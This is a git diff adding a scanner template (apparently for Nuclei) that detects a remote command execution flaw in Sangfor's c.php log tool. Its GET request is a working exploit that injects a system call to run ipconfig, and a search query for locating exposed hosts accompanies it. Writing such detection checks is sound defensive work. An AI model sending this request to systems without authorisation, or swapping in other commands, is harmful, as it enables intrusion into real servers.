diff --git a/http/vulnerabilities/other/sangfor-cphp-rce.yaml b/http/vulnerabilities/other/sangfor-cphp-rce.yaml
new file mode 100644
index 0000000000..1f3319fe2c
--- /dev/null
+++ b/http/vulnerabilities/other/sangfor-cphp-rce.yaml
@@ -0,0 +1,31 @@
+id: sangfor-cphp-rce
+
+info:
+  name: Sangfor Behavior Perception System c.php - Remote Command Execution Vulnerability
+  author: DhiyaneshDk
+  severity: critical
+  reference:
+    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E6%97%A5%E5%BF%97%E4%B8%AD%E5%BF%83%20c.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md?plain=1
+  metadata:
+    max-request: 1
+    fofa-query: "isHighPerformance : !!SFIsHighPerformance"
+    verified: true
+  tags: lfi,sangfor
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/tool/log/c.php?strip_slashes=system&host=ipconfig"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Windows IP"
+          - "Log Helper"
+        condition: and
+
+      - type: status
+        status:
+          - 200